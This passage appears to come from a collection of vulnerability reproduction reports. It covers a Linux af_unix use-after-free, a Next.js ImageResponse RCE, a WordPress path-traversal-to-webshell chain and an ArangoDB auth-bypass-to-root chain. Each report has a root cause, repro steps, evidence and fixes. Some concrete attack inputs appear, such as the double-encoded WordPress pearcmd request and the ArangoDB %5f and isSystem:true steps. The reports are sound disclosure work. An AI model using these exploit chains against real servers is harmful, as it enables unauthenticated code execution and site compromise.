privilege-escalation chain is claimed or demonstrated here). ## Root Cause `unix_del_edge()` (vulnerable tree, `net/unix/garbage.c`): ```c static void unix_del_edge(struct scm_fp_list *fpl, struct unix_edge *edge) { ... if (!vertex->out_degree) { edge->predecessor->vertex = NULL; list_move_tail(&vertex->entry, &fpl->vertices); /* missing: list_del(&vertex->scc_entry); */ } } ``` The SCC lists threaded through `scc_entry` are the persistent grouping produced by `__unix_walk_scc()` and consumed by `unix_walk_scc_fast()` / `unix_scc_dead()` / `unix_collect_skb()`. Freeing a vertex while its `scc_entry` remains linked leaves a dangling list node; the next fast SCC walk does `list_add(&scc, &vertex->scc_entry)` / reverse iteration over the stale chain and dereferences freed memory. Race window (confirmed by source inspection of the vulnerable tree): in `unix_dgram_sendmsg()`, `scm_stat_add()` → `unix_add_edges()` publishes the edge under `unix_gc_lock`, and only afterwards is the skb queued by `skb_queue_tail()`. A concurrent `unix_gc()` that takes `unix_gc_lock` between those two operations sees the `B->B` edge but not the skb, so `unix_vertex_dead(B)` (refcount == out_degree) still judges SCC `{A,B}` dead; `unix_collect_skb()` cannot collect the un-queued skb, so only `A`'s vertex is freed — with the stale `scc_entry`. - Fix commit: https://github.com/torvalds/linux/commit/594d905195024b228c962627ae5ae7c17bd582a4 (adds `list_del(&vertex->scc_entry);` before freeing the vertex). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; uses the prepared project cache when available). 2. The script: - fetches torvalds/linux at the fix commit (depth=2) and resolves the vulnerable parent `315f4bd234b3b8a3ed3a71fd4c53b110cf373720`; - verifies the fix hunk is absent in the vulnerable checkout and present in the fixed checkout; - builds two KASAN kernels (`CONFIG_KASAN=y`, outline mode): vulnerable parent and fixed commit; - builds a static initramfs whose `/init` (root) spawns an **unprivileged uid-1000** trigger that: - creates persistent socket `X` holding its own fd (live cyclic SCC keeps the GC graph in `UNIX_GRAPH_CYCLIC` state, forcing `unix_walk_scc_fast()`); - inflates `user->unix_inflight` past `UNIX_INFLIGHT_SANE_USER` (2024) so every SCM_RIGHTS send schedules GC; a hammer thread keeps `flush_work(unix_gc_work)` hot; - per iteration creates datagram sockets `A`,`B`, forms the `A<->B` cycle, then races `sendmsg(X, fd=B -> B)` against `close(A); close(B)` from two pinned threads; - boots QEMU/KVM (4 vCPUs+) twice on the vulnerable kernel and twice on the fixed kernel; the init scans dmesg for `BUG: KASAN` / use-after-free touching `unix_walk_scc*` / `unix_scc_dead` / `unix_collect_skb` / `unix_vertex_dead` / `unix_del_edge` and prints `REPRO_UAF_DETECTED` or `REPRO_CLEAN` before poweroff. 3. Expected evidence: `REPRO_UAF_DETECTED` with a KASAN splat naming the af_unix GC path on the vulnerable kernel, and `REPRO_CLEAN` on the fixed kernel. ## Evidence - `bundle/logs/reproduction_steps.log` — full driver log. - `bundle/logs/vm_vuln_attempt{1,2}.log` — serial consoles, vulnerable kernel. - `bundle/logs/vm_fixed_attempt{1,2}.log` — serial consoles, fixed kernel (negative control). - `bundle/repro/kasan_evidence.txt` — extracted KASAN/unix GC splat lines. - `bundle/repro/runtime_manifest.json` — runtime evidence manifest with per-artifact SHA-256 and target identity (`git:https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux@315f4bd234b3b8a3ed3a71fd4c53b110cf373720`). - Environment: QEMU 8.2.2 (KVM), x86_64, KASAN outline, 6 vCPUs, 4 GiB RAM, unprivileged uid 1000 in-guest. Key excerpt from `bundle/logs/vm_vuln_attempt1.log` (identical pattern in attempt 2, kernel `7.2.0-rc6-g315f4bd234b3`): ``` [trigger] running as uid=1000 for 120 seconds [trigger] inflight inflation done, hammering GC BUG: KASAN: slab-use-after-free in unix_gc+0x808/0x8f0 Write of size 8 at addr ffff888103eea6a8 by task kworker/u24:3/84 Workqueue: events_unbound unix_gc ... Allocated by task 102: unix_prepare_fpl+0x62/0x1d0 unix_scm_to_skb+0x16f/0x1e0 unix_dgram_sendmsg+0x1ff/0xbc0 ____sys_sendmsg+0x4e0/0x500 Freed by task 84: kfree+0x121/0x380 unix_destroy_fpl+0xb7/0xf0 unix_wfree+0xb2/0x120 sk_skb_reason_drop+0x64/0x200 unix_gc+0x663/0x8f0 The buggy address belongs to the object at ffff888103eea680 which belongs to the cache kmalloc-96 of size 96 <-- struct unix_vertex Oops: general protection fault, probably for non-canonical address 0xdead000000000108: 0000 [#1] SMP KASAN NOPTI <-- LIST_POISON1+8 RIP: 0010:unix_scc_dead+0x8c/0x250 <-- stale scc_entry walk Workqueue: events_unbound unix_gc REPRO_UAF_DETECTED kasan=1 unix_gc_path=1 ``` The allocation trace shows the victim `unix_vertex` was allocated by the unprivileged trigger's own `sendmsg()` (`unix_prepare_fpl`), freed by the GC itself (`unix_destroy_fpl` via `skb` purge in `unix_gc`), and then written to (offset 40 = `scc_entry` list splice) and walked (`unix_scc_dead` dereferences `LIST_POISON1`-poisoned linkage) by a subsequent GC pass — exactly the CVE-2026-80521 mechanism. Fixed-kernel control runs print `REPRO_CLEAN kasan=0 unix_hit=0 oops=0` after the identical stress. ## Recommendations / Next Steps - Fix: unlink `scc_entry` before freeing the vertex in `unix_del_edge()` (upstream `594d9051...`); the fix is exactly one line and is already backported to stable series. - Upgrade guidance: any kernel carrying the af_unix SCC GC rewrite without this fix is exposed; apply stable updates containing `594d9051` / `e3702470` (and the listed stable backports). - Testing: stress AF_UNIX SCM_RIGHTS fd-passing with concurrent close under KASAN; syzbot-style fuzzing of `unix_gc` races. ## Additional Notes - The script is idempotent: fetched source, kernel builds, and the initramfs are cached under the project cache directory and re-used on re-run (SHA-marker guarded); QEMU evidence is regenerated every run. - The race window is a few instructions wide; KASAN instrumentation and the synchronous `flush_work()` GC path widen it. Attempt counts and stress duration (`VULN_SECS`/`FIX_SECS` env overrides) may need tuning on slower hosts (TCG fallback when /dev/kvm is unavailable is supported but slower). ### Reproduction - Reproduced: 2026-09-24T07:20:28.220Z - Duration: 4712s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00358 # or: pruva-verify CVE-2026-80521 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00358 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00358/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00358 ================================================================================ ## REPRO-2026-00357: Next.js next/og ImageResponse RCE via Satori improper SVG escaping (critical) -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00357 - GHSA: GHSA-vcvr-r3jv-pc5j (https://github.com/advisories/GHSA-vcvr-r3jv-pc5j) - CVE: CVE-2026-94545 (https://nvd.nist.gov/vuln/detail/CVE-2026-94545) ### Package Information - Name: next - Ecosystem: npm - Affected: >=16.2.0 <16.3.6 - Fixed: 16.3.6 - Severity: critical - CVSS: Unknown - CWE: CWE-116 (Improper Encoding or Escaping of Output) ### Root Cause # Root Cause Analysis: CVE-2026-94545 ## Summary CVE-2026-94545 is a remote command-execution chain in the Node.js implementation of Next.js `next/og` `ImageResponse`. In affected Next.js 16 releases, Satori does not completely escape untrusted values before serializing them into SVG. A request value embedded in SVG text can therefore terminate the intended element and inject arbitrary XML/SVG structure. With the demonstrated native renderer stack, a Rasterfall payload uses XInclude/entity expansion and crafted path data to trigger a native librsvg/libxml2 use-after-free, pivot control flow, and execute an attacker-selected shell command. This run proved that chain twice through a live unauthenticated App Router HTTP endpoint on Next.js 16.3.5 and proved that Next.js 16.3.6 blocks the same procedure. ## Impact - **Affected package/component:** Next.js `next/og` Node.js `ImageResponse`, including its vulnerable Satori serializer and the downstream native Sharp/libvips/librsvg/libxml2 rendering path. - **Affected versions:** `next >=16.2.0 <16.3.6`; the corresponding Satori improper-escaping issue affects `satori >=0.0.27 <0.33.5`. - **Risk:** Critical. An unauthenticated remote user can execute an attacker-selected command with the privileges and working directory of the production Next.js server when an application puts request-controlled text into a supported inline SVG element and the native binary/dependency versions match the exploit layout. - **Observed consequence:** The payload executed `/bin/sh -c 'printf >'` and created exact unique command markers in two independent vulnerable server processes. ## Impact Parity - **Disclosed/claimed maximum impact:** Remote code execution. - **Reproduced impact from this run:** Remote unauthenticated command execution through `POST /api/og` on two fresh Next.js 16.3.5 production servers. - **Parity:** `full`. - **Not demonstrated:** No post-exploitation privilege escalation was attempted. The proof executes as the Next.js server account and intentionally writes only bounded marker files. ## Root Cause The route sends the raw request body into `{value}` within an inline SVG passed to `ImageResponse`. In the vulnerable serializer bundled by Next.js 16.3.5, this text is not escaped with the context-correct XML rules before SVG serialization. A body beginning with `` can therefore close the intended node and inject active XML/SVG constructs. The current payload injects an XInclude whose data URL contains an XML document with a crafted entity expansion and SVG path. Under the exact demonstrated native stack—Sharp 0.35.4, libvips 8.18.6, librsvg 2.62.91, and libxml2 2.15.3—the path layout triggers the Rasterfall native use-after-free chain and uses a Node.js 24.20.0-specific ROP layout to invoke `execve("/bin/sh", ["/bin/sh", "-c", command], NULL)`. The vulnerable request therefore replaces the request-serving process and causes curl to observe an empty response, while the command's marker remains as direct evidence. Next.js 16.3.6 includes the serializer/dependency hardening that escapes the injected value. In both fixed controls the same generation and POST procedure returned HTTP 200 PNG output, the server remained alive, and no command marker appeared. The relevant Satori hardening is upstream change `26a52affc031` (“Harden SVG serialization”), released in Satori 0.33.5 and incorporated into the patched Next.js dependency set. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any working directory. The script resolves `PRUVA_ROOT` portably. 2. The script reads `bundle/project_cache_context.json`, uses `/pruva/project-cache` when prepared, and otherwise falls back to a bundle-owned cache. 3. It verifies the official Linux x86-64 Node.js 24.20.0 executable by SHA-256, installs exact Next.js 16.3.5 and 16.3.6 package identities when needed, builds minimal App Router applications, and verifies the renderer versions. 4. For each of two vulnerable and two fixed attempts, it generates a fresh command-specific payload with `bundle/repro/rasterfall_poc.py`, starts a clean `next start` process, waits for the normal `/` health check, and sends the payload as an unauthenticated `POST /api/og` body. 5. Success requires both vulnerable processes to create their exact unique markers, both fixed processes to create no marker, and both fixed endpoints to return non-empty HTTP 200 responses. 6. The script writes `bundle/repro/runtime_manifest.json` only after all listed proof artifacts are immutable and binds each artifact by SHA-256. Expected console summary: ```text [vulnerable #1] curl=52 http=000 alive=false marker_present=true marker_matches=true [vulnerable #2] curl=52 http=000 alive=false marker_present=true marker_matches=true [fixed #1] curl=0 http=200 alive=true marker_present=false marker_matches=false [fixed #2] curl=0 http=200 alive=true marker_present=false marker_matches=false RESULT: command execution CONFIRMED ... ``` ## Evidence Primary evidence from the second consecutive passing run: - `bundle/repro/proof/evaluation.json` - `command_execution_confirmed: true` - `vulnerable_attempts_passed: true` - `fixed_negative_controls_passed: true` - `bundle/repro/proof/vulnerable_attempt1/marker.txt` - Exact bytes: `RF_VULNERABLE_1_1790151447194957763_23122` - SHA-256: `9edf37e593bd4d4eabcdc7e1173702b2d0ab1307adab36265afd9bb487c0bffa` - `bundle/repro/proof/vulnerable_attempt2/marker.txt` - Exact second unique command marker; SHA-256 `f35499c917d8786cb30e69cfa0d2aa9dc0b9f58273e657ca5d1650b9edd33220`. - `bundle/repro/proof/vulnerable_attempt1/observation.json` - POST endpoint reached; curl exit 52/HTTP 000 after process replacement; marker present and exact. - `bundle/repro/proof/fixed_attempt1/observation.json` - Same endpoint/procedure reached; HTTP 200; server alive; marker absent; 117125-byte PNG response. - `bundle/repro/proof/fixed_attempt2/observation.json` - Independent fixed negative control with the same result. - `bundle/repro/proof/runtime_identity.json` - Node.js `v24.20.0`, executable SHA-256 `89af8424dd53e560b1933f87ba650d8bf57c83ca5a04600eefb31f416aabbae7`. - Vulnerable Next.js 16.3.5 and fixed Next.js 16.3.6. - Sharp 0.35.4, libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3. - Vulnerable and fixed compiled `@vercel/og` bundle identities. - `bundle/repro/runtime_manifest.json` - Production endpoint/service/health flags, immutable target/runtime identity, proof inventory, and SHA-256 map. - `bundle/logs/reproduction_steps.log` - Human-readable diagnostics from the latest run. This actively written diagnostic is intentionally not listed as immutable manifest proof. The current run also recorded typed exploit primitive `3f4a24f2-16c9-498a-a22b-a5d2874f4930` and derived repeated command-execution capability `29471ddd-389e-447a-b142-7a47469b2054`. ## Recommendations / Next Steps - Upgrade affected applications to Next.js 16.3.6 or later. - If an immediate upgrade is impossible, do not pass attacker-controlled text, attributes, or styles into Node.js `ImageResponse` SVG rendering. Apply context-correct XML escaping before serialization. - Inventory Sharp, libvips, librsvg, libxml2, and Node.js versions; patch the native renderer independently because the complete exploit requires the demonstrated downstream weakness and binary-specific layout. - Add end-to-end regression tests at the actual App Router endpoint. Test hostile XML delimiters, DTD/XInclude constructs, deeply crafted path values, and oversized bodies, and verify rejection/escaping before native rasterization. - Bound request-body sizes and isolate image rendering under a low-privilege account as defense in depth; these do not replace upgrading. ## Additional Notes - The authoritative script passed twice consecutively. The first run built exact package identities; the second reused only identity-checked cache entries and repeated the complete four-process proof. - Every attempt uses a fresh process, a fresh payload, and a unique marker. Script-owned stale markers are removed before trigger delivery. - The exploit generator limits commands to 71 printable ASCII bytes because the ROP layout is bounded. The proof writes a short relative marker in the server working directory, then copies it into immutable bundle evidence after process shutdown. - The ROP offsets are specific to the official Linux x86-64 Node.js 24.20.0 executable and the exact native stack listed above. Other binary or architecture combinations require recalibration; this limitation does not weaken the reproduced claimed configuration. - No sanitizer or mocked component was used. The primary oracle is real command output through a production `next start` HTTP boundary, with a patched-version negative control. ### Reproduction - Reproduced: 2026-09-23T09:32:09.495Z - Duration: 5050s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00357 # or: pruva-verify GHSA-vcvr-r3jv-pc5j # or: pruva-verify CVE-2026-94545 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00357 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00357/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00357 ================================================================================ ## REPRO-2026-00356: WordPress Core unauthenticated path traversal in get_page_template() page-template resolution leading to conditional RCE -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00356 - GHSA: GHSA-7hp8-65ch-5whp (https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp) - CVE: CVE-2026-87902 (https://nvd.nist.gov/vuln/detail/CVE-2026-87902) ### Package Information - Name: WordPress/wordpress-develop - Ecosystem: github - Affected: 4.7.0 through 7.1.1 - Fixed: 7.1.2 - Severity: critical - CVSS: Unknown - CWE: CWE-98 ### Root Cause # RCA Report — CVE-2026-87902 / GHSA-7hp8-65ch-5whp ## Summary WordPress Core's `get_page_template()` (wp-includes/template.php) builds a candidate template filename from the `pagename` query variable after applying `urldecode()` to it, without the `validate_file()` guard that is applied to the sibling `$template` candidate three lines above. Because percent-encoded octets survive WordPress's query sanitization (`sanitize_title_for_query()` preserves `%xx` sequences) and the `pagename` query variable is settable by unauthenticated visitors, a double-url-encoded traversal payload is decoded inside `get_page_template()` and assembled as `page-{decoded}.php`. `locate_template()` then resolves and includes a readable local `.php` file outside the active theme directories. When the server also ships a useful local PHP target — PEAR's `pearcmd.php` with `register_argc_argv=On` (the default in the official PHP/WordPress Docker images) — the file inclusion becomes remote code execution via the well-known `pearcmd.php` `config-create` webshell-write transition. ## Impact - Package/component: WordPress Core (wordpress-develop), `wp-includes/template.php`, `get_page_template()` / `locate_template()`. - Affected versions: 4.7.0 through 7.1.1 (all branches); fixed in 7.1.2 with backports (7.0.6, 6.9.9, 6.8.10, 6.7.9, ... down to 4.7.37). - Risk: Critical (CVSS 4.0 9.2, CWE-98). Unauthenticated local PHP file inclusion, escalable to remote code execution when (1) the active theme has a top-level directory whose name starts with `page-` (e.g. Twenty Twelve's `page-templates/`) and (2) a readable local `.php` target such as `/usr/local/lib/php/pearcmd.php` exists. - Consequences demonstrated: arbitrary OS command execution as `www-data` (`uid=33(www-data)`) on the web server, i.e. full site compromise. ## Impact Parity - Disclosed/claimed maximum impact: unauthenticated remote code execution (claim: `api_remote` surface, `code_execution` impact). - Reproduced impact from this run: unauthenticated remote code execution through the real Apache/HTTP front door of WordPress 7.1.1 — an attacker-chosen OS command (`echo PRUVA-CMD-;id`) executed as `uid=33(www-data)` via a webshell that the include-chain wrote into the webroot, plus the underlying local file inclusion primitive proven independently with an out-of-theme marker file. - Parity: **full**. - Not demonstrated: nothing beyond the claimed impact (no persistence/privilege escalation beyond the web user, which is out of scope for the claim). ## Root Cause In WordPress ≤ 7.1.1, `get_page_template()` contains: ```php if ( $template && 0 === validate_file( $template ) ) { // validated $templates[] = $template; } if ( $pagename ) { $pagename_decoded = urldecode( $pagename ); if ( $pagename_decoded !== $pagename ) { // NOT validated (the bug) $templates[] = "page-{$pagename_decoded}.php"; } $templates[] = "page-{$pagename}.php"; } ``` Reachability chain (all unauthenticated, plain-permalink front-controller request): 1. `pagename` is a public query var; `?pagename=...` lands in `$wp->query_vars` after exactly one URL decode by PHP. 2. Double-encoding keeps octets alive: `sanitize_title_for_query()` preserves `%xx` sequences, so the query var still contains `%2e%2e%2f...` after `WP_Query` processing. 3. The 404 trap is avoided with `page_id`: in `WP_Query::get_posts()` (class-wp-query.php ≈ line 2276) a valid `page_id` **overwrites** the `WHERE` clause (`$where = " AND ID = "`), so the query returns the real page, `is_page` survives `WP::handle_404()`, and the template loader reaches `is_page() → get_page_template()`. 4. `get_page_template()` applies its own second `urldecode()`, turning `templates%2f%2e%2e%2f...` into `templates/../../../../usr/local/lib/php/pearcmd`, and prepends `page-` / appends `.php`. The leading `page-` is why the traversal must start inside a theme directory that literally starts with `page-` (Twenty Twelve's `page-templates/`). 5. `locate_template()` sees `file_exists(/page-templates/../../../../usr/local/lib/php/pearcmd.php) == true` and returns the path; template-loader.php `include`s it. 6. With `register_argc_argv=On` (default in the official PHP Docker images), `$_SERVER['argv']` is built from the raw query string split on `+`, so `&+config-create+/+/var/www/html/.php` makes the included `pearcmd.php` write an attacker-controlled PHP config file into the webroot. A second unauthenticated GET to that file executes arbitrary commands. Fix (7.1.2, diff verified against the official release): adds `0 === validate_file( $pagename_decoded )` to the pagename branch and introduces `_wp_is_template_path_allowed()`, a containment check (realpath must stay inside the stylesheet/template directories or `wp-includes/theme-compat`) applied to every candidate resolved by `locate_template()`. Fix reference: wordpress-develop `7.1.1...7.1.2` diff, files `src/wp-includes/template.php`, `src/wp-includes/version.php` (GHSA-7hp8-65ch-5whp, reporter Robert Ressl). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; only needs Docker + network). 2. The script: - pulls `wordpress:7.1.1-apache` and `mysql:8.0`, - builds a fixed image by replacing `/usr/src/wordpress` with the official `wordpress-7.1.2.tar.gz` (keeping `wp-config-docker.php`), - records precondition evidence (WP versions, `register_argc_argv=On`, `pearcmd.php` presence, absence/presence of the patch hunks), - starts MySQL + both WordPress instances (vulnerable on :18081, fixed on :18082), performs the real web installer flow over HTTP, installs and activates the legacy Twenty Twelve theme (advisory-named precondition, top-level `page-templates/`), - places a readable marker PHP at `/opt/pruva_lfi_marker.php` (out-of-theme LFI proof target), - twice attacks the vulnerable instance with an unauthenticated `GET /?page_id=2&pagename=templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-create+/+/var/www/html/.php`, then fetches the written shell with `?c=echo+PRUVA-CMD-;id`, - twice replays the identical attack against the fixed instance as a negative control, - writes `bundle/repro/runtime_manifest.json` with sha256-bound proof artifacts. 3. Expected evidence: both vulnerable attempts return the per-attempt marker `PRUVA-CMD-` and `uid=33(www-data)`; both fixed attempts show no marker and no shell (HTTP 404 for the shell, no LFI marker in the traversal response). ## Evidence - Preconditions/patch diff evidence: `bundle/logs/reproduction_preconditions.log` (vuln: `$wp_version = '7.1.1'`, `register_argc_argv=1`, pearcmd.php present, 0 occurrences of `validate_file( $pagename_decoded )`; fixed: 7.1.2 with the guard and `_wp_is_template_path_allowed`). - Run log: `bundle/logs/reproduction_steps.log` (`[vuln attempt 1] ... RCE=CONFIRMED LFI=CONFIRMED`, `2/2`, fixed `2/2 blocked`). - Per-attack request/response pairs: `bundle/logs/vuln_attempt{1,2}_{request,response}.txt` (response ends with `Successfully created default configuration file "/var/www/html/pruva_rce_vuln*_*.php"`). - Command-execution output: `bundle/logs/vuln_attempt{1,2}_command.txt` containing `PRUVA-CMD-` and `uid=33(www-data) gid=33(www-data) groups=33(www-data)`. - LFI primitive: `bundle/logs/vuln_attempt{1,2}_lfi_response.txt` begins with `PRUVA-LFI-MARKER-87902` (out-of-theme `/opt/pruva_lfi_marker.php` included). - Negative control: `bundle/logs/fixed_attempt{1,2}_*.txt` — no marker, shell GET 404. - Environment: Apache 2.4.68 / PHP 8.3.33 (mod_php, official `wordpress:7.1.1-apache` image, digest recorded in runtime_manifest.json), MySQL 8.0, Twenty Twelve 4.9, plain permalinks, default options. - Structured runtime evidence: `bundle/repro/runtime_manifest.json`. ## Recommendations / Next Steps - Upgrade to WordPress 7.1.2 (or the corresponding backport: 7.0.6, 6.9.9, 6.8.10, 6.7.9, 6.6.9, ... 4.7.37). - The fix approach is correct and sufficient: validate the decoded pagename with `validate_file()` and enforce theme-containment (`_wp_is_template_path_allowed()`) for every template path `locate_template()` resolves. - Defense-in-depth: set `register_argc_argv=Off` for web SAPIs (php.ini-production default) to neutralize the pearcmd.php transition; remove PEAR from web images; avoid activating classic themes with top-level `page-*` directories on unpatched installs. - Testing: regression test that `page-%2e%2e%2f...`-style pagenames (single- and double-encoded) never resolve outside the theme for both classic and block themes. ## Additional Notes - Idempotency: the script tears down and recreates its Docker network/containers on every run, reuses cached downloads (`/pruva/project-cache/packages`), rebuilds the fixed image only if missing/stale, and was executed twice consecutively with identical `CONFIRMED` results (exit 0). - Implementation details discovered empirically: PHP builds `$_SERVER['argv']` from the raw query string split on `+` and mangles single quotes, so the webshell payload is quote-free (``); `curl -g` is required because the payload otherwise triggers curl URL globbing. - The vulnerable path requires no authentication, no plugins, and default options; the only non-default elements are the documented preconditions (a `page-*` top-level theme directory — provided by the advisory-named Twenty Twelve theme — and a readable local `.php` target, provided by the stock official PHP/WordPress image). ### Reproduction - Reproduced: 2026-09-22T19:34:53.946Z - Duration: 4056s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00356 # or: pruva-verify GHSA-7hp8-65ch-5whp # or: pruva-verify CVE-2026-87902 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00356 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00356/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00356 ================================================================================ ## REPRO-2026-00355: ArangoDB full-chain: unauthenticated %5f URL auth bypass (GHSA-rrgq-978q-36mq) + client-controlled isSystem task escalation (GHSA-rvhw-4hpw-9vrx) -> root-context file write -> host RCE -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00355 ### Package Information - Name: ArangoDB server - Ecosystem: other - Affected: Official advisories list ArangoDB <= 3.12.10.1 as affected. - Fixed: ArangoDB 3.12.11 is patched for both advisories. - Severity: critical - CVSS: Unknown - CWE: CWE-287 (Improper Authentication) ### Root Cause ## Summary ArangoDB 3.12.10.1 contains two independently vulnerable trust boundaries that can be composed into unauthenticated root-context command execution. First, in the default `server.authentication-system-only=true` mode, authentication evaluates the raw URL while JavaScript action dispatch uses URL-decoded suffixes. Encoding the leading underscore as `%5f` therefore makes a protected `/_api/simple/*` action appear public to the authentication gate but dispatches it as the privileged system action, allowing an unauthenticated attacker to read and modify `_users`. Second, the authenticated REST task handler accepts a client-controlled Boolean `isSystem:true` without requiring superuser authority and creates an Internal JavaScript task. In the official image, `arangod` runs as UID 0, so that task can write root-only host/container files. This run composed the two defects through a validated weak-password credential-acquisition hop and observed a root cron consumer execute an attacker-selected command twice. ## Impact - **Affected package/component:** ArangoDB HTTP server, principally `RestActionHandler`/action dispatch for the encoded-path bypass and `RestTasksHandler`/task creation for Internal-context escalation. - **Affected versions:** ArangoDB releases through 3.12.10.1. Both flaws are fixed in 3.12.11. - **Tested vulnerable target:** official `arangodb:3.12.10.1` linux/amd64 image at immutable digest `sha256:01be938f3a8d3e82725d365ca6750e4cafd092ec78a33a027588cfac37be4e51`. - **Tested fixed target:** official `arangodb:3.12.11` linux/amd64 image at immutable digest `sha256:39bbca489179ea03f2b24b7ea4e4c4cb5258f6474f8c1c4d9bd65f7cd6d211a5`. - **Risk:** Critical. The first flaw provides unauthenticated superuser document read/write, including disclosure and persistent modification of authentication records. Once the attacker has an authenticated database-write identity, the second flaw provides arbitrary root-context file read/write and, when a privileged file consumer exists, host/container command execution. ## Impact Parity - **Disclosed/claimed maximum impact:** Unauthenticated remote code execution as the `arangod` operating-system user, root in the tested official container. - **Reproduced impact from this run:** Two clean vulnerable product instances accepted unauthenticated encoded HTTP requests, disclosed root's salted password hash, allowed attacker-controlled `_users` persistence, authenticated root with a password recovered from the leaked weak single-round hash, accepted an authenticated `isSystem:true` task, wrote a root crontab, and produced attacker-selected `id`/`whoami`/marker output as UID 0 through `crond`. - **Parity:** `full`. - **Not demonstrated:** No escape from the Docker container namespace was attempted. The demonstrated execution is root inside the official product container, consistent with the exercised target. The chain depends on the explicitly tested weak-password condition for immediate login; arbitrary `_users` persistence was also shown, but direct collection writes do not invalidate the already-loaded UserManager cache during the current process lifetime. ## Root Cause The chain has two roots: 1. **Raw-versus-decoded authorization differential (GHSA-rrgq-978q-36mq).** `RestActionHandler::hasAllowedUnauthenticatedPath()` decides whether a request is an unauthenticated application route from the raw `requestPath()`. With the default system-only mode, `/%5fapi/...` does not begin with literal `/_` and is treated as unauthenticated. Later action lookup uses URL-decoded suffixes, turning `%5fapi` into `_api` and dispatching a privileged JavaScript simple action under the superuser execution scope. The action itself assumes that the outer handler already enforced authorization. 2. **Missing authorization for privileged task mode (GHSA-rvhw-4hpw-9vrx).** `RestTasksHandler` reads `isSystem` directly from attacker JSON and passes it into task creation after checking only database-write access. Boolean true selects the Internal JavaScript security context, which can access arbitrary filesystem paths. The equivalent JavaScript-side system-task API has an internal-context guard, but the REST path did not replicate that guard. In the official image the server process is UID 0, amplifying Internal-context file access to root. For credential acquisition, the first defect discloses `authData.simple`, which uses one round of `SHA256(salt || password)` with a short salt. This run explicitly configured and then recovered `test1234` from a bounded dictionary, satisfying rather than assuming the weak-password precondition. The encoded `update-by-example` route also replaced root's stored hash with attacker-selected bytes and read those bytes back. Source inspection at vulnerable tag `v3.12.10.1` (`95ea088...`) showed why that direct collection change does not immediately authenticate the new password: UserManager reload follows its global-version notification path, whereas generic simple actions do not invoke that API. The exact fix commit was not identified in the submitted ticket. The authoritative fixed release is 3.12.11; remediation should preserve one canonical path representation for both authorization and routing and reject client selection of Internal task context unless the caller is already a superuser/internal principal. ## Reproduction Steps 1. Run `bundle/repro/reproduction_steps.sh` from any directory. The script derives portable paths from its own location and accepts `PRUVA_ROOT`. 2. The script executes immutable official Docker image digests, starts the real `arangod` HTTP service, waits for health, and seeds a protected marker plus a weak-password deployment condition through legitimate administration. 3. For each of two vulnerable instances, it retains exact raw HTTP requests and full raw responses for: - literal protected-path `401` control; - unauthenticated `%5f` protected-document and root-authData reads; - bounded password recovery from the leaked hash; - unauthenticated attacker-selected root-authData update/read-back; - real `/ _open/auth` login (without the space; exact path is `/_open/auth`); - authenticated `PUT /_api/tasks/{id}` with Boolean `isSystem:true`; - root-only task file/crontab evidence; and - `crond` command output containing `uid=0(root)`, `root`, and a per-attempt marker. 4. For each of two fixed 3.12.11 instances, the script proves the encoded read and update fail with `401`, then authenticates a database-RW non-superuser and proves the real `isSystem:true` task request reaches the endpoint but fails with `403` and creates no root marker. 5. Expected final output is `SUCCESS: full unauthenticated-to-root-command-execution chain reproduced twice; fixed controls passed twice.` and exit status 0. ## Evidence - Runtime evidence manifest: `bundle/repro/runtime_manifest.json`. - Consolidated result: `bundle/repro/proof/summary.json`. - Diagnostic session log: `bundle/logs/reproduction_steps.log` (not manifest-hashed while active). - Immutable image binding: `bundle/repro/proof/image-identities.txt`. - Vulnerable attempt directories: `bundle/repro/proof/vulnerable-1/` and `bundle/repro/proof/vulnerable-2/`. - Fixed attempt directories: `bundle/repro/proof/fixed-1/` and `bundle/repro/proof/fixed-2/`. Key current-run observations include: ```text vulnerable attempt 1: FULL CHAIN CONFIRMED vulnerable attempt 2: FULL CHAIN CONFIRMED fixed attempt 1: ALL CONTROLS PASSED fixed attempt 2: ALL CONTROLS PASSED ``` `vulnerable-1/hop4-command-execution.txt` contains: ```text uid=0(root) gid=0(root) ... root COMMAND_EXEC__1 ``` The fixed task control records: ```text target_path_reached=true status=403 root_marker_present=false ``` Every artifact listed by `runtime_manifest.json` existed after execution and its SHA-256 matched the manifest. The manifest binds 72 finalized proof artifacts from the successful run and identifies the vulnerable target by immutable image digest. Raw login responses include ephemeral JWTs because the ticket requires retaining the complete authentication hop; they are unique throwaway credentials for deleted test containers, not reusable secrets. ## Recommendations / Next Steps - Upgrade all affected deployments to ArangoDB 3.12.11 or later. - Canonicalize/decode the route once, reject ambiguous encodings, and use exactly that representation for authentication, authorization, and dispatch. - Make privileged task context a server-side authorization decision. Ignore or reject client `isSystem:true` unless the caller holds explicit superuser/internal authority. - Run `arangod` as a dedicated non-root operating-system user and constrain its writable filesystem paths; this reduces consequences but does not replace the code fixes. - Until upgrade, disable system-only authentication (`--server.authentication-system-only false`) so every route requires authentication. - Treat credentials and JWT material on previously exposed servers as compromised; rotate user passwords and server JWT secrets. - Add integration tests that send raw percent-encoded request targets through the HTTP listener and compare 